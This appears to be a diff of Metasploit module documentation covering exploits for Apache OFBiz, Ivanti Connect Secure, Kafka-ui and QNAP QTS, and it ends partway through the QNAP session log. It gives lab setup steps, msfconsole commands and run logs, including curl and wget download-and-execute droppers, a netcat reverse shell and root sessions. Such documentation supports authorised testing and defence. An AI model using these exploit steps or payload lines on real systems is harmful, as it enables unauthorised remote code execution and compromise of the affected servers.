and use the `CommonsBeanutils1` gadget chain.
|
||||
|
||||
Verified working on 18.12.09, 17.12.01, and 15.12
|
||||
|
||||
### Setup
|
||||
|
||||
#### 15.12
|
||||
|
||||
You can use <https://hub.docker.com/r/opensourceknight/ofbiz>.
|
||||
|
||||
1. Initialize the database with demo data (`INIT_DB=2`) and bind to ports 8080 and 8443
|
||||
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
|
||||
* `docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 opensourceknight/ofbiz:15.12`
|
||||
|
||||
#### 18.12.09
|
||||
|
||||
`docker run -p 8080:8080 -p 8443:8443 --rm -e INIT_DB=2 vulhub/ofbiz:18.12.09`
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -27,9 +38,11 @@ This executes a Unix command.
|
||||
|
||||
This uses a Linux dropper to execute code.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Apache OFBiz from [Docker](#setup).
|
||||
### Apache OFBiz from [Docker](#setup) 15.12.
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/apache_ofbiz_deserialization
|
||||
@@ -101,3 +114,50 @@ BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Apache OFBiz from [Docker](#setup) 18.12.09.
|
||||
|
||||
```
|
||||
[msf](Jobs:0 Agents:0) > use exploit/linux/http/apache_ofbiz_deserialization
|
||||
[*] Using configured payload linux/x64/meterpreter_reverse_https
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set ssl false
|
||||
[!] Changing the SSL option's value may require changing RPORT!
|
||||
ssl => false
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set rport 8080
|
||||
rport => 8080
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set srvport 8999
|
||||
srvport => 8999
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lport 9999
|
||||
lport => 9999
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > set lhost 172.17.0.1
|
||||
lhost => 172.17.0.1
|
||||
[msf](Jobs:0 Agents:0) exploit(linux/http/apache_ofbiz_deserialization) > exploit
|
||||
|
||||
[*] Started HTTPS reverse handler on https://172.17.0.1:9999
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Apache OFBiz detected
|
||||
[*] Executing Linux Dropper for linux/x64/meterpreter_reverse_https
|
||||
[*] Using URL: http://172.17.0.1:8999/t8Ht92vyG
|
||||
[*] Client 172.17.0.2 (curl/7.74.0) requested /t8Ht92vyG
|
||||
[*] Sending payload to 172.17.0.2 (curl/7.74.0)
|
||||
[+] Successfully executed command: curl -so /tmp/ccOiSBWw http://172.17.0.1:8999/t8Ht92vyG;chmod +x /tmp/ccOiSBWw;/tmp/ccOiSBWw;rm -f /tmp/ccOiSBWw
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwc954AkmwDFJGPdMCAemNwEhbK9MZE1sbFjd87crw4EoQ8IRya-nD4j7s9vkiPXENKkm6Hai6rTX1l6MxXV with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwBlG7PmcChFTs3mrZWe19ux0Ge4-K3sXMWLGzskiOvEJN9O34cT2vhArtS36BI-SM8HDCBKggdyux0 with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Redirecting stageless connection from /bor18uxq2-DRFNcWtLP2lwS1jEDX4_Jx7YDDvUtpywgCk with UA 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14.0; rv:109.0) Gecko/20100101 Firefox/118.0'
|
||||
[*] https://172.17.0.1:9999 handling request from 172.17.0.2; (UUID: jfvsjqze) Attaching orphaned/stageless session...
|
||||
[*] Command Stager progress - 100.00% done (112/112 bytes)
|
||||
[*] Meterpreter session 1 opened (172.17.0.1:9999 -> 172.17.0.2:47500) at 2024-01-16 20:04:06 -0500
|
||||
[*] Server stopped.
|
||||
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) > getuid
|
||||
Server username: root
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) > sysinfo
|
||||
Computer : 172.17.0.2
|
||||
OS : Debian 11.4 (Linux 6.5.0-kali3-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
(Meterpreter 1)(/usr/src/apache-ofbiz) >
|
||||
```
|
||||
@@ -0,0 +1,189 @@
|
||||
## Vulnerable Application
|
||||
This module chains a server side request forgery (SSRF) vulnerability (CVE-2024-21893) and a command injection
|
||||
vulnerability (CVE-2024-21887) to exploit vulnerable instances of either Ivanti Connect Secure or Ivanti
|
||||
Policy Secure, to achieve unauthenticated remote code execution. All currently supported versions 9.x and
|
||||
22.x are vulnerable, prior to the vendor patch released on Feb 1, 2024. It is unknown if unsupported versions
|
||||
8.x and below are also vulnerable.
|
||||
|
||||
## Testing
|
||||
To test we used Ivanti Connect Secure version 22.3R1 (build 1647), deployed as a virtual appliance for HyperV. The
|
||||
below steps are for HyperV, but it should be very similar to install on VMWare.
|
||||
|
||||
* Signup for a trial to download the file `ps-ics-hyper-v-isa-v-22.3r1.0-b1647-package.zip`
|
||||
* From this ZIP file, extract the file `ISA-V-HYPERV-ICS-22.3R1-1647.1-VT-hyperv.vhdx`
|
||||
* Create a new VM in HyperV and specify the VHDX file as the hard drives media.
|
||||
* Boot the VM and follow the console instructions to install the product.
|
||||
* After installation completes, you will have created an admin account and password. You can log into the admin
|
||||
web interface by visiting https://<TARGET_IP_ADDRESS>/admin in your web browser if you want.
|
||||
|
||||
## Verification Steps
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp`
|
||||
5. `check`
|
||||
6. `exploit`
|
||||
|
||||
## Scenarios
|
||||
To support a broad set of available payloads, we support both the Linux and Unix platforms. This allows for native
|
||||
Linux payloads to be used, but also payloads like Python meterpreter or a Bash shell.
|
||||
|
||||
### Automatic (Linux Payload)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set RHOST 192.168.86.111
|
||||
RHOST => 192.168.86.111
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[
|
||||
,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
|
||||
tasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connecti
|
||||
ons
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Acc
|
||||
epted: CURL, FTP, TFTP, TNFTP
|
||||
, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary
|
||||
after execution
|
||||
FETCH_FILENAME XMZdmHhNxYx no Name to use on remote system
|
||||
when storing payload; cannot
|
||||
contain spaces.
|
||||
FETCH_SRVHOST no Local IP to use for serving p
|
||||
ayload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving
|
||||
payload
|
||||
FETCH_URIPATH no Local URI to use for serving
|
||||
payload
|
||||
FETCH_WRITABLE_DI /tmp yes Remote writable dir to store
|
||||
R payload; cannot contain space
|
||||
s.
|
||||
LHOST eth0 yes The listen address (an interf
|
||||
ace may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
|
||||
[*] 192.168.86.111:443 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.111
|
||||
[*] Meterpreter session 3 opened (192.168.86.42:4444 -> 192.168.86.111:45734) at 2024-02-09 09:21:59 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.111
|
||||
OS : (Linux 4.15.18.34-production)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
meterpreter > exit
|
||||
[*] Shutting down session: 3
|
||||
|
||||
[*] 192.168.86.111 - Meterpreter session 3 closed. Reason: Died
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
|
||||
```
|
||||
|
||||
### Automatic (Unix Payload)
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > set PAYLOAD cmd/unix/reverse_bash
|
||||
PAYLOAD => cmd/unix/reverse_bash
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > show options
|
||||
|
||||
Module options (exploit/linux/http/ivanti_connect_secure_rce_cve_2024_21893):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[
|
||||
,type:host:port][...]
|
||||
RHOSTS 192.168.86.111 yes The target host(s), see https://docs.me
|
||||
tasploit.com/docs/using-metasploit/basi
|
||||
cs/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connecti
|
||||
ons
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/unix/reverse_bash):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
LHOST eth0 yes The listen address (an interface may be s
|
||||
pecified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > check
|
||||
[*] 192.168.86.111:443 - The service is running, but could not be validated.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.86.42:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated.
|
||||
[*] Command shell session 4 opened (192.168.86.42:4444 -> 192.168.86.111:45736) at 2024-02-09 09:23:15 +0000
|
||||
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
cat /home/ssl-vpn-VERSION
|
||||
export DSREL_MAJOR=22
|
||||
export DSREL_MINOR=3
|
||||
export DSREL_MAINT=1
|
||||
export DSREL_DATAVER=4802
|
||||
export DSREL_PRODUCT=ssl-vpn
|
||||
export DSREL_DEPS=ive
|
||||
export DSREL_BUILDNUM=1647
|
||||
export DSREL_COMMENT="R1"
|
||||
exit
|
||||
[*] 192.168.86.111 - Command shell session 4 closed.
|
||||
msf6 exploit(linux/http/ivanti_connect_secure_rce_cve_2024_21893) >
|
||||
```
|
||||
@@ -0,0 +1,224 @@
|
||||
## Vulnerable Application
|
||||
A command injection vulnerability exists in Kafka-ui between `v0.4.0` and `v0.7.1` allowing an attacker to inject
|
||||
and execute arbitrary shell commands via the `groovy` filter parameter at the `topic` section.
|
||||
|
||||
This module has been tested with Kali Linux 2023.11 on the following targets:
|
||||
* Kafka-ui v0.4.0 running on MacOS Docker Desktop
|
||||
* Kafka-ui v0.7.0 running on MacOS Docker Desktop
|
||||
* Kafka-ui v0.7.1 running on MacOS Docker Desktop
|
||||
|
||||
## Installation
|
||||
### Installation steps to install Kafka-ui
|
||||
* Install `Docker` on your preferred platform.
|
||||
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
|
||||
* Create a empty directory (`kafka-ui`).
|
||||
* Create the following `docker-compose.yaml` file in the directory. This will automatically create a Kafka cluster with Kafka-ui.
|
||||
* You can modify the `v0.7.0` in the `yaml` file to pull different versions.
|
||||
```yaml
|
||||
version: '2'
|
||||
|
||||
networks:
|
||||
rmoff_kafka:
|
||||
name: rmoff_kafka
|
||||
|
||||
services:
|
||||
zookeeper:
|
||||
image: confluentinc/cp-zookeeper:latest
|
||||
container_name: zookeeper
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
environment:
|
||||
ZOOKEEPER_CLIENT_PORT: 2181
|
||||
ZOOKEEPER_TICK_TIME: 2000
|
||||
ports:
|
||||
- 22181:2181
|
||||
|
||||
kafka:
|
||||
image: confluentinc/cp-kafka:latest
|
||||
container_name: kafka
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
depends_on:
|
||||
- zookeeper
|
||||
ports:
|
||||
- 29092:9092
|
||||
environment:
|
||||
KAFKA_BROKER_ID: 1
|
||||
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
|
||||
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092
|
||||
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT
|
||||
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
|
||||
KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
|
||||
|
||||
kafka-ui:
|
||||
container_name: kafka-ui
|
||||
image: provectuslabs/kafka-ui:v0.7.0
|
||||
networks:
|
||||
- rmoff_kafka
|
||||
ports:
|
||||
- 8080:8080
|
||||
depends_on:
|
||||
- kafka
|
||||
- zookeeper
|
||||
environment:
|
||||
KAFKA_CLUSTERS_0_NAME: local
|
||||
KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092
|
||||
KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181
|
||||
KAFKA_BROKERCONNECT: kafka:9092
|
||||
DYNAMIC_CONFIG_ENABLED: 'true'
|
||||
KAFKA_CLUSTERS_0_METRICS_PORT: 9997
|
||||
```
|
||||
|
||||
* Run following command `docker-compose up -d` to install and run the Kafka ui and cluster environment.
|
||||
* Your Kafka ui should be accessible on `http://localhost:8080` with an active Kafka cluster running.
|
||||
* You can bring down the environment for a fresh start with the command `docker-compose down --volumes`.
|
||||
|
||||
You are now ready to test the module.
|
||||
|
||||
## Verification Steps
|
||||
- [x] Start `msfconsole`
|
||||
- [x] `use exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251`
|
||||
- [x] `set rhosts <ip-target>`
|
||||
- [x] `set lhost <ip-attacker>`
|
||||
- [x] `set target <0=Unix/Linux Command>`
|
||||
- [x] `exploit`
|
||||
|
||||
you should get a `shell` or `Meterpreter`.
|
||||
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > info
|
||||
|
||||
Name: Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.
|
||||
Module: exploit/linux/http/kafka_ui_unauth_rce_cve_2023_52251
|
||||
Platform: Unix, Linux
|
||||
Arch: cmd, x64, x86
|
||||
Privileged: Yes
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Excellent
|
||||
Disclosed: 2023-09-27
|
||||
|
||||
Provided by:
|
||||
h00die-gr3y <h00die.gr3y@gmail.com>
|
||||
BobTheShopLifter and Thingstad
|
||||
|
||||
Module side effects:
|
||||
ioc-in-logs
|
||||
artifacts-on-disk
|
||||
|
||||
Module stability:
|
||||
crash-safe
|
||||
|
||||
Module reliability:
|
||||
repeatable-session
|
||||
|
||||
Available targets:
|
||||
Id Name
|
||||
-- ----
|
||||
=> 0 Unix/Linux Command
|
||||
|
||||
Check supported:
|
||||
Yes
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8080 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine
|
||||
or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
Payload information:
|
||||
|
||||
Description:
|
||||
A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing
|
||||
an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter
|
||||
at the `topic` section.
|
||||
|
||||
References:
|
||||
https://nvd.nist.gov/vuln/detail/CVE-2023-52251
|
||||
https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251
|
||||
https://github.com/BobTheShoplifter/CVE-2023-52251-POC
|
||||
|
||||
|
||||
View the full module info with the info -d command.
|
||||
```
|
||||
|
||||
## Options
|
||||
No specific options for this module.
|
||||
|
||||
## Scenarios
|
||||
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/unix/reverse_netcat
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > set verbose true
|
||||
verbose => true
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
|
||||
|
||||
[+] mkfifo /tmp/cpzbj; nc 192.168.201.8 4444 0</tmp/cpzbj | /bin/sh >/tmp/cpzbj 2>&1; rm /tmp/cpzbj
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.25:8080 can be exploited.
|
||||
[+] The target is vulnerable. Kafka-ui version: 0.7.0
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_netcat
|
||||
[*] Searching for active Kafka cluster...
|
||||
[+] Active Kafka cluster found: local
|
||||
[*] Creating a new topic...
|
||||
[+] New topic created: 9nQbg
|
||||
[*] Trigger Groovy script payload execution by creating a message...
|
||||
[*] Removing tracks...
|
||||
[+] Successfully deleted topic 9nQbg.
|
||||
[*] Command shell session 28 opened (192.168.201.8:4444 -> 192.168.201.25:49429) at 2024-01-20 18:44:52 +0000
|
||||
|
||||
uname -a
|
||||
Linux 889a0c5cec88 6.4.16-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Nov 16 10:55:59 UTC 2023 x86_64 Linux
|
||||
id
|
||||
uid=100(kafkaui) gid=101(kafkaui) groups=101(kafkaui)
|
||||
```
|
||||
### Kafka-ui v0.7.0 Unix/Linux Command - cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
```shell
|
||||
msf6 exploit(linux/http/kafka_ui_unauth_rce_cve_2023_52251) > exploit
|
||||
|
||||
[*] Command to run on remote host: wget -qO /tmp/LfMsMsUxX http://192.168.201.8:1981/Qw3rZo-yo18aYrvy_AQU-w; chmod +x /tmp/LfMsMsUxX; /tmp/LfMsMsUxX &
|
||||
[*] Fetch Handler listening on 192.168.201.8:1981
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /Qw3rZo-yo18aYrvy_AQU-w
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.25:8080 can be exploited.
|
||||
[+] The target appears to be vulnerable. Kafka-ui version: 0.7.0
|
||||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
[*] Searching for active Kafka cluster...
|
||||
[+] Active Kafka cluster found: local
|
||||
[*] Creating a new topic...
|
||||
[+] New topic created: D9kH687
|
||||
[*] Trigger Groovy script payload execution by creating a message...
|
||||
[*] Removing tracks...
|
||||
[*] Client 192.168.201.25 requested /Qw3rZo-yo18aYrvy_AQU-w
|
||||
[*] Sending payload to 192.168.201.25 (Wget)
|
||||
[+] Successfully deleted topic D9kH687.
|
||||
[*] Meterpreter session 29 opened (192.168.201.8:4444 -> 192.168.201.25:50355) at 2024-01-23 08:47:41 +0000
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.30.0.4
|
||||
OS : (Linux 6.4.16-linuxkit)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: kafkaui
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,199 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
|
||||
QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
|
||||
(NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.
|
||||
|
||||
The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.
|
||||
The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
|
||||
during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
|
||||
initialized, the quick.cgi component is disabled on the system.
|
||||
|
||||
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
|
||||
injection, allowing the attacker to execute arbitrary commands on the device.
|
||||
|
||||
### Setup
|
||||
Vulnerable firmware can be downloaded from:
|
||||
[TS-X64_20230926-5.1.2.2533.zip](https://download.qnap.com/Storage/TS-X64/TS-X64_20230926-5.1.2.2533.zip)
|
||||
In order to decrypt the firmware use the following script:
|
||||
[qnap-qts-fw-cryptor.py](https://gist.github.com/ulidtko/966277a465f1856109b2d2674dcee741)
|
||||
|
||||
Unzip the archive:
|
||||
```
|
||||
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip
|
||||
Archive: TS-X64_20230926-5.1.2.2533.zip
|
||||
inflating: TS-X64_20230926-5.1.2.2533.img
|
||||
```
|
||||
|
||||
Decrypt the firmware:
|
||||
```
|
||||
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
|
||||
Signature check OK, model TS-X64, version 5.1.2
|
||||
Encrypted 1048576 of all 220239236 bytes
|
||||
[99% left]
|
||||
[99% left]
|
||||
[99% left]
|
||||
...snip
|
||||
[02% left]
|
||||
[00% left]
|
||||
[00% left]
|
||||
user@dev:~/qnap/$ ls
|
||||
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
|
||||
```
|
||||
|
||||
Recreate the root file system:
|
||||
```
|
||||
user@dev:~/qnap/$ mkdir firmware
|
||||
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
|
||||
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
|
||||
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
|
||||
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
|
||||
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
|
||||
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
|
||||
```
|
||||
|
||||
To run the Firmware first copy the qemu-x86_64-static binary into the root file system folder:
|
||||
```
|
||||
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
|
||||
```
|
||||
|
||||
Run _thttpd_ via QEMU:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$
|
||||
sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
|
||||
```
|
||||
|
||||
Verify the HTTP server is running:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
|
||||
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1195417/./qemu-x86_
|
||||
```
|
||||
|
||||
At the time of writing `/dev/random` and `/dev/urandom` are required to be present in the environment in order to work
|
||||
around the following issue: https://github.com/rapid7/mettle/issues/255.
|
||||
Ensure the binaries exist on your system:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/random
|
||||
/dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ ls /dev/urandom
|
||||
/dev/urandom
|
||||
```
|
||||
|
||||
Create files the files:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ touch dev/urandom
|
||||
```
|
||||
|
||||
Mount the binaries:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/random dev/random
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo mount --bind /dev/urandom dev/urandom
|
||||
```
|
||||
|
||||
Drop to a shell via QEMU:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo chroot . /bin/sh
|
||||
```
|
||||
|
||||
Enable the component quick.cgi:
|
||||
```
|
||||
sh-3.2# chmod +x /home/httpd/cgi-bin/quick/quick.cgi
|
||||
```
|
||||
|
||||
Fix a linker issue with QEMU:
|
||||
```
|
||||
sh-3.2# rm /lib/libnl-3.so.200
|
||||
sh-3.2# ln -s /lib/libnl-3.so.200.24.0 /lib/libnl-3.so.200
|
||||
```
|
||||
|
||||
Create this folder as it will be present in a NAS device containing a hard drive:
|
||||
```
|
||||
sh-3.2# mkdir /mnt/HDA_ROOT
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use linux/http/qnap_qts_rce_cve_2023_47218`
|
||||
1. Set the following options: `RHOST`, `RPORT`, `LHOST` and `FETCH_SRVPORT` if 8080 is already in use.
|
||||
1. Run the module
|
||||
1. Receive a Meterpreter session as the `admin` user.
|
||||
|
||||
## Scenarios
|
||||
### TS-X64_20230926-5.1.2.2533 firmware emulated via qemu using the steps above.
|
||||
```
|
||||
msf6 > use linux/http/qnap_qts_rce_cve_2023_47218
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rport 8080
|
||||
rport => 8080
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set rhost 172.16.199.130
|
||||
rhost => 172.16.199.130
|
||||
msf6 exploit(linux/http/qnap_qts_rce_cve_2023_47218) > set lhost 172.16.199.158
|
||||
lhost => 172.16.199.158
|
||||
